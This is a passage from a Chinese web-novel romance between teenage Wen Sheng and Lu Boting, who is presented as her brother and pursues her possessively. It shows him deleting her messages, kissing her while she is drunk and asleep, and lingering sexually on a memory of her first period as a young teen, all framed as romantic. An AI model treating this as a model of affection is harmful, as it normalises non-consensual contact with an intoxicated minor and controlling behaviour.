声声怪:没事儿,江城今天降温了,突然想吃大众巷的那家排骨年糕。
很无厘头的回话。
等了两分钟,路泊汀没回她,温声咬着手指盯住手机。
嘁,就说他对她只是无聊中的消遣吧,忙起来时她温声又算得上什么呢?
忿忿地将手机塞进校服,江乐橙终于背着包跑出教室,“走走走!今晚一起坐车吗?”
听说路泊汀去省外比赛了,平时都是他接阿声回家。
两人走在校园里,地面铺满枯叶,踩上去簌簌作响,温声突然拽住江乐橙,想了想小声问:“你觉得我和路……我哥像吗?”
江乐橙仔细瞧了一番她的长相,又在脑海中闪过路草的脸,都很精致好看,于是干脆地点头:“很像,一看就是亲兄妹,别人长不出你们家这种基因。”
温声一噎,其实对于那份基因检测报告她没亲眼看,只记得当时被他拉去医院,一路上她都浑浑噩噩,还没接受信上的消息。
这么久过去了,她忽然想到,路泊汀还没有把那份检测报告给她。
到家时,姚女士和朋友正打着电话,看到她,手机夹在耳侧,抬手唤道:“乖宝,桌上的排骨年糕拿上去吃,你哥给你订的。”说完又换了手机到另一侧耳边接着打电话。
温声一怔,桌上有两个外卖盒,一盒排骨年糕,一盒豆沙条头糕。
她每次都要吃爆辣味的排骨年糕,辣的嘴巴红肿一圈再吃条头糕解辣。
固定搭配。
走过去,盒子上面贴有一张备注单——
麻烦排骨年糕撒一层海苔碎,谢谢老板。
她爱吃海苔碎。
深吸一口气,温声拎起那两盒外食上了楼。
放下书包,走进卫生间,洗手液在指骨中抹匀打泡,是淡淡的檀香味,指腹交叉揉搓,开水,冲洗,擦净。
坐回沙发上,她才拿出手机,两人的对话还停在一个小时前,他没再回消息。
想了想,手指微动打下几个字,发送。
京市某星级酒店套房内。
路泊汀正坐在圆桌前和几位教练老师聊天,桌上的屏幕一亮,开了一天会,他扶着脖子随意动了几下缓解酸痛感,伸手拿过手机,划开屏幕,解锁,点进聊天界面。
见最近一直绷着脸的学生突然轻笑起来,周围老师有意无意地相互对视,哎哟还真是稀奇了。
微信只有一句话——回来后我请你吃罗味生煎。
罗味生煎,江城早点里人流量最大的一家连锁生煎店,每天叫单限数,早早起床去排队还不一定能排上。
她喜欢排骨年糕,他喜欢罗味生煎。
路泊汀坐直身子专注地投入到会议中。
想快点考完回家。
6. 归来
周五最后一节课,历史老师姜明拖了半小时的堂,温声额头抵着笔,一脸无望地看向窗外,今天是江乐橙的生日,两人约好放学后找家韩餐店简单过个生日,她的视线又转回讲台,姜明还在滔滔不绝中。
前面的江乐橙递过一张纸条:马上要下雨了,放学后你要不要去我家,我妈做了蛋糕,吃完送你回家。
远处乌云密布,操场的绿坪被风吹起重叠交织的绿影,确实是快要下雨的样子。
她简单回了纸条后开始收拾书包,抬手时胳膊肘不小心打翻了旁边贺厉的水杯,热水顺着桌子全流到了他的校服上,温声轻呼一声慌忙抽出纸递给他,嘴里不停道着歉:“对不起对不起,快擦擦……”
贺厉温和一笑,接过纸巾:“没关系,它自己就干了。”
江乐橙听见动静转头,看一眼保温杯的位置,小声道:“贺厉,你的杯子放的离阿声太近了,很容易被碰倒啊。”
贺厉伸手将保温杯朝外移开,语气依然润朗淡然:“不好意思啊,我没太注意。”
温声不疑有它,拿出自己的手帕递过去:“拿这个擦吧,今天降温了小心感冒。”
姜明讲完最后一个时间线的重点后,布置完周末作业就下课了,放学的班里瞬间变得热闹起来,同学结群讨论着周末要去哪里看漫展,也有几个女生约好一起要去猫咖。
两人走在路上,江乐橙用胳膊小幅度地撞了撞温声的肩侧,朝她挤眉弄眼道:“我觉得贺厉对你有意思,他绝对喜欢你。”
温声觉得奇怪,问她:“你怎么看出来的?他对谁都一个样子吧。”
“可是他对你格外的温顺,而且那个保温杯,我感觉是他故意放在那个位置,就等你抬手碰倒。”江乐橙自认是个恋爱小达人,这种暗戳戳的小信号她最清楚不过好吗。
“你想多了,他不喜欢我这个类型。”温声潜意识里只当贺厉是班里相处不错的男同学,他性格和善,对谁都是一副客气礼貌的谦逊模样,喜欢的人应该也是和他一样温柔的类型。
温声自认不是个温柔的人。
“我敢打赌,他肯定会在毕业前和你表白。”
“我先打赌,今晚叔叔肯定没有给你准备生日礼物。”
“啊啊!不想听不想听!!”
两人嬉嬉闹闹上了公交车。
晚上九点,怡翠苑别墅区外停下一辆机场的出租车,路泊汀付完钱拖着行李箱进了家门,客厅开着一侧壁灯,玄关处摆着整齐的拖鞋,餐厅里只有刘嫂做夜宵的声音,他放下行李换了鞋走过去,“刘嫂,今晚家里没人吗?”
刘嫂闻声抬起头,哎哟一声,放下手里的东西忙迎出来,“小路怎么突然回来啦,先生和太太晚上去展馆了,阿声给同学过生日还没回来。”
路泊汀应了一声,靠着橱柜给自己倒了一杯水,一边慢慢喝随手拿出手机。
L:几点结束,我去接你。
等了几分钟,手机没动静。
走到玄关处打开行李箱,拿出一堆姚女士交代好的东西递给刘嫂,路泊汀又从隔层掏出一个小黑盒慢悠悠上了楼。
放下手里的盒子,换了衣服去浴室快速冲了个澡,拿着毛巾随意擦了几把湿发走到沙发前,打开手机。
依然没动静。
想也没想,他拨了通电话过去。
“嘟…嘟…您拨打的电话暂时无人接听,请稍后再拔。”
路泊汀微微蹙眉,又找到江乐橙的号码,之前温声手机没电了用江乐橙的手机打给他,他顺手存了下来。
“喂?路…路哥?”江乐橙有些紧张,她有点怕路泊汀,说不出原因,就是怕。
“温声在你旁边吗?”
“嗯,她今晚陪我过生日。”
“让她接一下电话。”
“呃……”江乐橙有点欲言又止,天知道温声喝了几口鸡尾酒饮料就躺在沙发上睡着了。
路泊汀挑眉,“她怎么了?”
“喝……喝醉了,只是鸡尾酒饮料不是酒!”江乐橙着重强调饮料两个字。
路泊汀耳侧夹着手机开始穿衣服,出门前顺手拿了一件棒球服外套,洗过澡后清润的嗓音带着低喑:“地址发给我,麻烦你再收拾一下她的东西,谢了。”
江乐橙盯着挂断的电话,一时无言,她父母已经给姚阿姨打过电话,也确认好她今晚能住在她家,路泊汀怎么就……突然要来接走她?
没过多久时间,路泊汀开车到了江乐橙家楼下
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,他拿着手机和外套进了单元楼,站在江家门口,上前接过温声的书包,接着给迷瞪的她披上外套,又摘了棒球帽随手给她叩上,最后和江乐橙父母简单留了几句话,拦腰抱起她转身就下了楼。
江爸妈左右互看,语气略微有些犹疑地问江乐橙:“你确定他是阿声的哥哥吧?”
“应……应该是吧。”江乐橙脑子里翻滚着他刚才那几个动作,不紧不慢又细致熟稔,还有一丝旁人不易察觉到的亲昵。
是不是哥哥,她也不确定了……
傍晚下过小雨,地面潮湿打滑,天际泛起一层淡淡的粉,空气中飘着桂花的湿润酸甜,路泊汀小心托起温声的脑袋抱到后座,又调低座位高度让她舒服地躺在上面。
温声的手机设了静音,密码是她的生日,长指划开解锁,屏幕上除了他的消息,还有一条在晚上8:55发来的信息。
——谢谢你的手帕。
贺厉。
盯着那条消息,路泊汀敛下薄薄的眼皮,删除对话框,将手机掷回中控台,缄默片刻,又从驾驶位转身向后靠近。
温声睡得很沉,呼吸轻缓悠长,睡梦中有一抹温热忽然贴上来,吮咬的力度不算轻,嘴唇带起微微的麻意。
安静的车厢内只有细微亲吻的声音,路泊汀指下抚着她的脖颈,绵密柔顺的长发在指间悄然滑落,唇齿间保留着淡淡的荔枝味饮品的甜腻,不顾她耳语似的嘤咛,他又不算温柔地抵进舌尖,直到她的嘴唇变得很软很烫,他才微微褪开。
手指划过她的唇角,柔软濡热,他靠近,似呢喃的低语覆在她耳边:“什么时候才能记住,吻你的人只能是我呢。”
*……*
温声醒来时感觉这一觉睡得又沉又累,揉了揉眼睛,打算翻个身继续睡,大腿却不经意挨上一片热意,触感真实,她倏地睁开眼睛,只见路泊汀躺在另一侧,半张脸埋进枕头,蓬茸的黑色碎发随意耷在眉间,睡颜少见的恬静。
但是……
“路泊汀??”
她真的很想大声尖叫,很想伸手掐死他,“你怎么在我房间!!”
他恹恹地睁开眼睛,无声打了个哈欠,语气有点无奈:“能小点声吗?我已经好几天没睡个好觉了。”
7. 惩罚
温声一副快要抓狂的样子,伸手指向他:“你是不是有毛病?谁让你进我房间的?谁让你在我床上睡觉的?”又迅速扫过他几近全luo的身体,像长了针眼似得眼角猛地一抽,声音都算得上吼了,“还有!谁让你不穿衣服在我面前晃的??”
四连问,路泊汀被吵的揉了揉太阳穴,睁开眼,“骂完了吗?现在可以睡了吧。”
说完也不理她的错愕,拿过她的枕头搂进怀里,重新盖好被子闭上眼。
“你……”温声神情一滞,有些受不了被他如此赤裸裸的无视,明眸一瞪,动作毫不客气地跳起扑到床头去掀被子,“你给我起!不准睡!!去你房间睡!!!”
热气从被下传来,被压在身下的路泊汀纹丝不动,被子罩上他头顶,只露出黑色碎发,不理不睬一副随便你压的无赖样子,摆明了对她就是有恃无恐。
他身高腿长,被子的边缘被他用长腿压住,中央高高隆起,温声使劲抽被子,怎么抽都抽不出,只好抬腿压住他,咬紧牙字字往外蹦,威胁道:“再不起我可要坐你头上了。”
压在下面的人唇角微翘,黑眸掠过一丝玩味,脸又埋进被子几分,声音闷闷地传出:“嗯哼。”
温声是真的生气了,她就没见过这种油盐不进的人,于是也不和他废话,细腿一跨坐了上去,并起两膝盖顶到他身前,上身同样压着往前倾,两手也直撅撅地往他头上捂。
“起不起?就说起不起吧?你等着窒息身亡吧!”
她身上的睡裙在拉扯中往上直皱,跪在两侧的腿不时蹭到还有余热的被子,不知怎么着,挨着的皮肤陡然间热度升高。
意识到姿势好像有点不太对,温声面色微红,坐直想要起身离开。
被子里的人突然伸出手圈住她的腰,不等她看清,一个利落翻身,她就被压在了下面,路泊汀吹了吹她脑门的呆毛,抿唇勾起抹极淡的笑,眼神却坏得很:“消停会儿吧。”
“唔…你放开我……喘不上气了!”连被子一起被摁在身下的温声扭身使劲挣扎。
“不放。”
长腿欺上,他闲闲绕起她的一撮头发,驳回地很是理直气壮。
温声的胳膊被他摁到枕头两侧,腿也动弹不了,只能扬起脑袋大口喘气:“你最好祈祷今天别让我出去,不然我发誓你真的会死!”
他挑眉,拿过一旁的短袖套上,扯唇哼笑道:“死不死的你能出来再说。”
“啊!你快放我出去!!!”被子里的气闷加上早上醒来后发现他在旁边的憋屈,一系列的复杂情绪汇成酸楚的委屈,温声鼻子一抽一抽的,眼泪很不争气地流下。
察觉到被子里的小人抽搭搭地在哭,路泊汀终于当回了人,掀开被子一手搂紧她的腰将她整个人抱在怀里,又用指腹小心给她擦眼泪。
结果越擦越多。
温声垂着脑袋也不看他,就窝在他怀里静静地掉泪,眼睫处潮乎乎的,几缕长发乱七八糟地粘着脸颊,颈侧也一片汗津。
路泊汀心下一咯噔。
玩脱了。
他拦腰抱着她走到沙发旁抽了纸,又坐回床边,触感很轻地给她擦眼泪,擦完后盯着她通红的眼圈,喉咙滚了滚,半蹲下,大手握紧她,声音还带着刚起床后的低哑:“宝宝对不起,我太想你了,没想欺负你的。”
温声一眨眼,眼泪又滚了出来,但她没吱声,扭头冷漠地盯着另一侧。
就差把滚字吐出来狠狠砸他脸上了。
路泊汀低头捉她的眼睛,有些粗粝的拇指抚过泪痕,接着叹了声很轻的气,也不知道是无奈谁,又起身抱回她坐自己腿上,轻声呢喃的口吻,低哄中难隐几分温柔:“那今天你想怎么搞我,我都不反抗,好不好?”
温声小声吸鼻子,他抽出纸小心地给她擤鼻涕,偏过头蹭她耳鬓处的湿发,大手作安抚一样轻拍她的背,再次道歉:“我的错,我错了,没有下次行吗。”
她动了动身体,哑着声问他:“什么惩罚都行?”
路泊汀自认理亏的点了点头。
“你刚才压着我难受,我要把你的手绑在床头,一个小时。”
他忽然兴致渐起地睨着她,转而故作了然地勾唇一笑:“你想玩/S//M?”
温声用力翻了个白眼:“只是单纯绑手,你要是期间挣扎,就算你输,这个月都别见面了。”
一个小时诶!他肯定坚持不了。
路泊汀知道她在打什么算盘,也不揭穿,温热的唇贴向她有些红肿的眼睛,一瞬又松开:“来吧,今天你就算想强上我,我都不会拒绝。”
温声取来他的两条领带,跨过他靠在床头的上半身,扯起他的胳膊,一圈一圈缠的很用力,鼓足劲要给他打个死结。
最好勒死他。
路泊汀手腕轻拧,指点她:“还是有点松,再紧点。”
温声呶呶嘴,瞪了他一眼,手下使劲。
直到他平躺在床上,两胳膊支到头顶,温声才满意地拍拍手,“你自己好好躺着吧,我要下楼了。”
说完转身就要走。
看她那副跃跃欲试的样子,路泊汀摇头失笑,叫住她:“我有点口渴,可以帮我倒杯水吗?”
想了想他起床后确实还没喝水,温声不情不愿倒了一杯水走过去,皮笑肉不笑地问:“是不是还需要我喂你?”
他抿唇笑,点头:“嗯,我不敢动。”
温声小心接着杯子喂他喝水,喝着喝着,路泊汀突然轻咬住杯口不放,水渍顺着唇角流到颈侧,那处白净的皮肤湿痕淅沥,只见他神情略带歉然地瞟向她:“宝宝可以帮我擦一下吗?”
他绝对是故意的!
温声狐疑地拧起秀眉,忍住快要跳脚的暴脾气,反正都照顾到这步了,也不差什么,于是抽出纸巾动作粗暴地给他擦水。
就在手指快要收回时,他却伸舌缠上她的指尖,濡湿的触感很轻地滑穿,他还勾起舌尖卷了下她的指腹,温声一惊,猛然回过神,却在抽回时指甲划破了他的嘴唇。
有细血丝立马渗出,嘴唇也很快肿了起来。
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路泊汀长长地嘶了声,才慢慢攒眉,“有点疼。”
“是你故意的!”
温声气的脚跺得生响,空手捶了他一拳转身就往楼下跑,结果敲门声刚好响起。
“阿声,醒了吗?醒了就下来吃早饭,你同学给家里打了电话你记得回过去问问是不是有急事,还有你哥,昨晚回来后又不知道去哪里了……”
是刘嫂。
温声一个急刹,快速停在门口,鼻息用力稳住,又回头眼神警告那个半躺在床上,两手像犯人一样举到床头还笑的一脸无害的混蛋,眯起的大眼睛特像最凶的小猫一样眈着他——
你敢出声,你就完了。
路泊汀动了动胳膊,给了她一个放宽心的挑唇笑。
温声这才平静开口:“刘嫂我起啦,应该是橙子打来的我一会儿回她,十分钟后我下楼……”
‘啵——’
温声感觉脑子里的浆糊骤然一缩,身后这啵声异常清脆响亮,像几排啤酒开瓶时一起发出的声音。
她难以置信地扭回脖子,只见路泊汀微抿着嘴唇,在她的注视下,又嘬起自己的下嘴唇,越嘬越紧,细长的眼梢作出皱鼻子时才会有的轻佻相,然后,温声听到了更响的啵声。
还是连环的。
……
这声音隔着门听不知道的人还以为里屋的人亲的难舍难分的。
果然!
还在说话的刘嫂一顿,温声猜她贴紧门了,“阿声……什么声音?”
“唔……”
路泊汀又弹了记舌,温声看他装模作样地顶了下脸颊,于是快速反应过来,捏着嗓子发出不适的咳声:“呜呜呜我昨晚吃很多辣上火了刘嫂,左边的嘴巴这会很疼,你快听声音……”间隙,眼神还射向床上的人,磨起牙似得也发出嗦吸嘴巴壁肉的噗啵声,接着委屈巴巴的说,“听到了吗刘嫂,就是这里很痛……”
刘嫂想也没想,转身往楼下赶:“那你快下来我去给你煮点去火茶,顺便喷点药……”
呼。
听到刘嫂离开的声音,温声这才舒展开手腿,随后咥咥一声阴笑,噌的一下,回身就直接跑跳到床上,拿起自己的枕头往那个嚣张至极不可一世的死变态脸上挥:“都让你别出声别出声你还出声!!你是不是聋了!!被发现怎么办!……?你还敢笑??”
路泊汀手被绑着压根躲不了,只能闭眼承受,黑色碎发被她呼呼甩来的枕风扑的凌乱,他还有空轻笑,喘了声嘘气叫停她:“等一下。”
温声动作习惯性一顿。
他睁开眼,半边俊俏的脸被甩出潮红,被她压着胸口有点喘不上气,只好偏头缓气,温声看他直挺的鼻梁吸了吸气,一副呼吸不上的死样。
要不绕过他算了?
反正他贱也不是一天了。
大人不记小人过一样从他身上起开,温声还想警告他两句,结果他嘴里永远有一大堆花花狗话等着她。
“悠着点打啊宝宝。”
“我这脸还得留着勾引你呢。”
8. 转向
姚书文下楼时看到坐在餐桌前吃早饭的人,眉头一挑讶然道:“你什么时候回来的?”
路泊汀放下调羹,若有似无地瞟向温声。
温声收到信号,霍然坐直身子,目光沉沉的回视:你敢说实话你就完了。
果然,他扯唇哂笑,又在姚女士看过来时换了个坐姿倚靠在座椅上,“今天早晨到的。”
温声一颗悬着的心刚要落回原地,又被他接下来的话震得稀碎。
“只不过她昨晚喝醉后睡我房间了,我刚才只能去她卧室休息。”
姚女士夹了一块刘嫂蒸了一早的海鲜蒸糕放到温声的餐盘上,朝她眨眨眼,戏谑道:“乖宝喝了酒后就不乖了。”
温声咬起唇内的一侧软肉,叉子一戳一戳地捣烂那块完好的蒸糕,笑的很勉强:“没有……我也是今早到的,橙子爸爸送我来的。”
路泊汀端起咖啡悠悠喝了一口,拾起一副你说是就是吧的犯贱表情:“呵。”
终于忍不住放下餐具,温声脚下用力踢向他,却踢到一旁的桌腿,趾尖立马传来一阵尖锐剧痛,“嗷唔……”
姚女士朝路泊汀丢去桌上的餐巾,警告道:“收敛点,别欺负妹妹。”
温声姿势不雅地抱着脚横在腿上,泪眼汪汪开始告状:“妈妈,他每天都欺负我,而且还威胁我!”不等姚女士说话,她又给自己找补,“我想住校了不想和他呆在一个空间。”
提起住校这件事,温声上学期已经提了三次,全部被路康和姚书文拒绝了,理由很简单,家里就她一个宝贝金蛋,不舍得她去挤宿舍。
“可是你哥平时都不怎么在家,而且你住校妈妈也不放心啊。”又是同样的理由。
温声垂下眼睛,委屈状:“那好吧。”
模样很是惹人爱怜。
姚女士看不得宝贝女儿伤心,伸出胳膊揽过她,柔声道:“那还是让哥哥出去住吧,正好他现在高三,后面还有很多竞赛要参加,住在学校附近也比较方便。”
温声没料到剧情突然反转,张口想说话,却被路泊汀抢占先机,他这次笑的愈发肆无忌惮,一脸混球样,“我同意,我碍你眼了我走还不行吗。”
完全没有被赶出家门的落魄样子。
温声盯着他一脸无辜的神情,隐约觉得哪里不对劲,但姚女士已经开始安排:“下午我让阿姨去那边的房子打扫一下卫生,你今晚就走吧。”
说得毫不留情。
铁打的儿子泼出去的水。
早在路泊汀初中拿到数决亚太杯时,路康就给他买了宁湾的房子,在江城这个寸土寸金的城市,宁湾地处市中心最繁华地带,东有惠安新路商业中心,向南是南桥湾文化发展中心,西有都宁路市级中心区,向北挨着城市自然风光保护区,而且它离一中的路程很近,比每天要开一个小时车来回怡翠苑方便得多。
更重要的是。
房子密码只有他自己知道。
路泊汀推开面前的餐盘,慢条斯理地站起身,稍纵眉头又攒起,态度歉仄:“我上去收拾行李了,之后我一周回来一次总行吧。”又敲了敲温声面前的桌子,“如你所愿了。”
说完耷拉着眼皮离开。
温声简直想给他鼓掌,做作!下贱!装腔作势!
一旁的姚女士还在吃早饭,他两斗嘴的样子她看了个遍,只能叹气:“你和你哥什么时候能和平相处呢?”
“等什么时候他不欺负我了吧。”
吃过早饭,温声上楼打算写会儿作业,经过路泊汀房间时,她声音很大的冷哼一声,快步走过,身后的门却被打开,他靠在门边叫住她,“你等等。”
等你才有鬼。
温声假装没听见,三脚两步走到自己卧室,刚要关上门时,一个黑色小盒子朝着眼前一晃而过,她忙不迭地接住。
一个包装看不出是什么的黑色丝绒小礼盒,内绣金丝水波纹的高级暗纹绒布,优雅又贵气。
她眨巴眼睛,一时不知道他为什么要送自己礼物。
他一贯清冷又霸道的语气:“现在不准打开,等我高考完再看。”
“嘁,我想看就看,你管我啊。”
啪——门被无情关上。
温声窝回沙发上,打量手里的盒子,掂了掂重量,这人不会又想什么损招害自己吧?
沉默三秒,她果断拉开床头柜放了进去,眼不见为净。
下午的时候路泊汀简单收拾好行李准备走人,转着车钥匙晃到温声门口,顿了顿二话不说直接推开她的门。
温声撅着身子趴在床上正在看数学试卷。
听见声音扭过屁股看他,她又炸了:“说过几次让你敲门敲门,不会啊?”
路泊汀无视她的无能狂怒,走过去瞥见满是红叉的卷子,抱臂立在床头沉思。
温声对他的表情已经很熟悉了,重新趴回床上,快速压住试卷,“有……有什么问题吗?”<
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p>“以智商判定,你确实不是我亲妹。”
拿过她的卷子,路泊汀开始挑刺儿,语气嚣张得很:“这道数列题我以为是个人闭着眼都能做出来,还有这道三角函数,你们数学老师难道没说过这是高考最简单的题型吗?这统计题看选项都能选出答案吧?还有这个……”
语毕,他又曲起长指弹了弹那张卷子,笑的很斯文败类,开始给她下套:“不过你这点成绩还有救,每周五去宁湾找我,我就给你补习。”
温声木着脸,二话不说刺啦夺过卷子,他的算盘已经蹦到自己脸上了,哼哼回应:“我自己会找补习老师,就不劳烦你了。”说完觉得不解气,咧嘴开始假笑,故意膈应他,“谢谢你哦,我亲爱的哥哥~”
路泊汀摇头一笑,坐回她床边,又伸手掐她的脸,触感非常细腻柔软,他没忍住又拧了把,“那个盒子没打开吧?”
温声从他的魔掌中救出自己的脸,边揉边说:“没有没有总行了吧,你让我看我都不看。”
“里面是对我很重要的东西,不准弄丢。”
他看着她时,眼睛里时常弥漫着半真半假的雾气,靠近时那层迷雾又快速退却,在她看不见的地方,眼里交织的沉又从最深处泛滥。
温声实在搞不懂他了,坐起身靠在床头,问出自己一直有的疑惑:“可是为什么是我?”
毫不犹豫拽着一起跳进深渊的人,为什么是我呢?
路泊汀却站起身,又转回手里的钥匙,他抬起下巴居高临下地看着她,修长净白的脖颈隐入深色卫衣,眉眼冷然只能看清微抿的唇,声音很淡:“为什么不能是你。”
不再说话,钥匙收进口袋,卫衣帽子松松兜回头顶,清爽干净的黑色碎发半遮住眉宇,只露出挺直精致的鼻子和清晰立体的侧脸。
他是典型的衣架子,肩宽窄臀,又因为经常运动健身,身形健硕紧实,尤其配上一张阳春白雪的美人脸,野性与俊美并存。
温声每次对上他的脸,反驳的话就卡在喉咙口说不出。
路泊汀离开前,又提了一句:“你要是想补习,我应该是你最好的老师,考虑一下吧。”拉开门,像是又想起什么,回头轻笑,“房子的密码是你的生日加你第一次强吻我的时间,不要记错了。”
门什么时候关上的温声不知道,只记得不断盘旋在头顶的‘强吻’二字。
她愣头愣脑硬是回忆了半天,想到什么似的骤然涨红脸,一脚踢掉床上的试卷。
9. 萌芽
温声十六岁的生日办了两场,家里一场,朋友又单独给她开了个party,那天她们在新武路商圈旁的KTV聚到很晚,直到晚上十一点才各自给家里打了电话来接人。
她就不用多说了,打到家里的电话永远都是路泊汀接的,他当时十七岁还没拿驾照,叫了一辆出租车就来了。
八月盛夏,夜晚微风徐徐,舒适又凉爽。路泊汀下车后没有直接进去,冷着一张脸手里转着手机走到马路对面,路过的女孩们视线隐约飘到他身上,对上他一副不耐烦的神情后又转过头迅速走开。
他穿了一件墨绿色的联名宽松涂鸦卫衣,下面罩着白色长T打底,搭配深色街头牛仔裤,脚上踩着一双晚上打球没换的篮球鞋,表情很疏离地靠在栏杆旁,偶尔抬头看向对面的KTV。
其实他今晚心情很不好,他无法解释,也没有理由,只是姚书文晚上随口提到妹妹有了喜欢的人,还是同班同学,今晚过生日对方也在场。
喜欢的人?
他对着自己的亲妈莫名嗤笑一声,丢下手里的包拿着手机就出了门。
什么时候喜欢上自己的妹妹他已经快要忘了,只记得七岁那年家里突然多了个小女孩,她普通话不标准,还是个缺牙巴,第一次见面时扎着乱糟糟的马尾,头发细软泛黄,声音软糯的叫了他一声哥哥。
之后,她总会晚上跑到自己房间哭鼻子告状:学前班有个讨厌鬼又嘲笑她的普通话不标准、吃午饭的时候老师没有先给她洗手、睡午觉的时候因为尿床被旁边的女生羞羞了……
再后来,她上了小学,性格突然开朗外向起来,从原先的内敛小女孩变成了学校里的调皮捣蛋鬼,班主任经常给家里打电话,又因为路康和姚书文工作太忙很少在家,接电话的人自然就变成了他,他那段时间还在变声的初期,略微低沉的声音稍作掩饰完全可以担得起她的家长。
就这样,他开始了很长一段时间的收拾烂摊子的任务,至今路爸妈都不知道宝贝女儿原来被老师电访过那么多次。
直到,她初一来初潮的那天。
放学后路泊汀在校门口等了她将近一个小时,学校里人都快走完了她还没出来,他只好去她们班找人,站到初一班门口,教室已经关了灯和窗户,从外面向里看空无一人,他皱起眉刚要下楼,就听见教室后门隐隐传来抽泣声,哭声在安静的走廊压抑又清晰,上前推开门,教室角落趴着一人,哭的上气不接下气,脖子处一片湿红。
他快步走过去蹲下,轻声问:“发生什么事了?”
温声听见是路泊汀的声音,缩了缩脖子哭的更大声了,哽咽着声道:“我…我流了很多血……我要死掉了哥哥……”
路泊汀把她浸湿的发尾从脖子处撩开,又拿出纸巾给她擦汗,随后抬起她的脸给她擦眼泪,有些无语地开口:“我都活得好好的,你肯定会长命百岁。”
“可是我流了好多血,今天下午上完体育课后肚子就很疼,现在裤子都湿透了。”
他动作很轻地扶起她,“让我看看。”
板凳上都染上了红迹,他一扫就知道发生了什么事,脱下校服围在她腰上,又抽出纸巾把板凳清理干净后才让她坐下,“你坐教室里等我,不要乱跑。”
走出两步后又折回,拿出书包里的保温杯打开放在她桌子上:“喝完这杯水我就回来了。”说完快步跑了出去。
温声擦净泪,情绪慢慢稳了下来,开始一口一口地喝他保温杯里的热水,傍晚的校园里只剩下操场踢球的几个同学,进球的欢呼声随着天色变暗逐渐消失,在她快要喝完热水时,门“吱呀”一声被推开。
路泊汀手里拿着一个纸袋子走过来,头发微乱,身上带着跑动的冷气,牵起她的一只手,“先和我去厕所。”
女生厕所在教学楼最左侧,两人站在厕所门口,路泊汀短暂挣扎后还是走了进去,他拿出卫生巾和纸巾,袋子上贴了一张使用方法的便利签,是便利店的女店员帮他写的。
厕所是用隔间隔开的,路泊汀走过去推开所有的门确认没有人后,才拉着温声进了最靠里的一间,弯下腰低声说:“你是来例假了,以后每个月都会来,今天是13号,下个月的月中就要注意时间,流血很正常不要怕。”他看了一眼便利签,继续说道:“今晚回家让刘嫂给你熬点热汤,以后肚子疼不要喝凉的,尤其冰奶茶……”
说着开始拆手里的卫生巾,有点繁琐的包装,他硬是拆了半天。
温声这会儿思路已经跟不上了,只能僵着手学他的动作。
厕所里只有塑料拆封摩擦的声音,她呼吸很轻地抬头快速看了他一眼,十四岁的路泊汀个子已经长了很高,比她高出大半个头,身形劲直修长,头发有点长,发梢扫过额头,眉眼精致如画,上扬的眼睛漆黑明亮,俊挺的鼻梁细看有一颗很小的浅痣,唇红齿白,很好看也很有少年气。
“你把内//裤//脱了。”
很淡定的语气,可他的耳朵却开始泛红。
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>“啊?”温声回过神有些无措,“那你先出去。”
“你知道怎么用吗?”
“应该会吧……”电视里不都是那么教的吗?
“好,你换好后叫我。”拆开的卫生巾放她手里,他后退几步关上了门。
果不其然,不出几秒,温声嗷嗷大叫:“啊——我贴反了!!”
路泊汀揉了揉眉心,好看的脸颊露出几丝尴尬:“开门我进来给你贴。”
温声只好红着脸打开门,路泊汀快速闭上眼睛,又拆了一条干净的卫生巾,蹲下身摸索着裤沿贴了上去,鼻前全是淡淡的血腥味,他的耳尖也越来越红,贴好后提起裤子,飞快站起身,语气有些涩然:“你收拾一下,我在外面等你。”
回到教室时,外面的天色早就暗了下来,他背起两人的书包又牵着她的小手下了楼,校门口的保安看到还有两个学生从教学楼走出来,眉头一紧:“你们两个!怎么回事啊,这都快八点了还不回家!”看向两人紧握的手,大声训斥道:“这才几岁就早恋啊,把手放开分开走!”
路泊汀连余光都没往他那儿落,牵着温声慢步走出校门。
这所初中是江城教育资源最好的中学之一,里面的学生除了成绩好,大部分人家境还很殷实,保安只好低骂一声又坐回安保室。
当晚回家后,温声成了家里的重点保护对象,姚女士带着她回到房间很认真地科普生理期方面的注意事项。
只有路泊汀站在自己的卧室卫生间,打开水龙头,长指仔细清洗着那条被她换下的裤子,上面血渍干涸,他洗了很久。
眼前莫名又出现了她叉开的两条皙白细腿,笔直且骨肉匀称……
他低垂着眼,突然甩开手里的裤子,水珠溅到脸上,呼吸倏尔变得很低缓,抬手抹开镜子上的水雾,水珠不规则流下,只有一张雾气下微微扭曲的脸,还有很黑很亮,也很沉的眼睛。
他看向镜子里的自己。
用一种近乎疯狂且偏执的凝视目光。
半晌后,声音彻底哑了下来:“你疯了吧……”
*……*
江乐橙和一伙同学下了楼,看见对面的路泊汀,朝他打了个手势。
他站直身子走了过来,“她呢?”
江乐橙有点不敢直视他,小声说道:“阿声困了,在里面等你。”
路泊汀点了点头,视线很淡地瞥向人群里长相白净身高腿长的男生,随后嘱咐他们注意安全后就径直上了楼。
10. 汹涌
KTV在三楼,整体装修奢华独特,外部采用蒸汽波风格,彩色镭射渐变荧光投射在每间包厢内,流光溢彩的眩晕感扑面而来。路泊汀推开边上最安静的一间包厢门,温声已经歪着头睡着了。
他瞅了一眼桌子上堆的三扎空啤酒瓶,拽着领口脱下卫衣走到她旁边,膝盖小幅度顶她的小腿,低声道:“醒醒,回家了。”
温声刚睁开发沉的眼皮,卫衣就被套了进来。
这人……好爱给自己穿衣服。
包厢内开着很足的冷气,她今天穿的短款套裙,大腿这会被冻得有些僵硬。他的卫衣很暖和,温声下半张脸埋进领口,很淡的茉莉琥珀味又夹带一丝好闻的海盐糖的清冽,她细细嗅了一会儿,醉意退了一些。
路泊汀走到显示屏前伸手上下滑动,随意挑了一首歌。
她看向他的动作,“你要唱歌吗?”
他坐在离她很远的对角,手势松散地握着麦克风,没回她。
温声眯起大眼睛在他身上转了一圈,身子向前倾,又问道:“你怎么啦?”
依然没理她。
前奏悠扬动人的旋律突然响起,绵延到整个包厢,满室空荡幽静。
-I stand alone in the darkness.
(我孤身站在黑暗之中)
-Memories go back to children.
(记忆追溯到童年)
-There was no pain.
(没有哀伤)
-I never stayed anywhere.
(我从不停留某处)
-Would you wait for me forever.
(你愿意永远等我吗)
……
他穿着干净的白T,背抵向沙发,角落的灯光半明半暗,温声只能看清他微垂着头,清瘦挺直的背影有些落寞疏离,清冷的嗓音忽然从麦克风传出,很轻,像低声呢喃。
温声有些见不得他突然低落的样子,他应该是一个嘴角永远挂着嘲谑笑意,眉眼轻挑,盯着别人就能暗中损敌八百的贱人。
还是意气轩昂的贱人。
不该是这样。
-I’m the dust in the wind.
(我是风中的尘埃)
-Would you wait for me forever.
(你愿意永远等我吗)
……
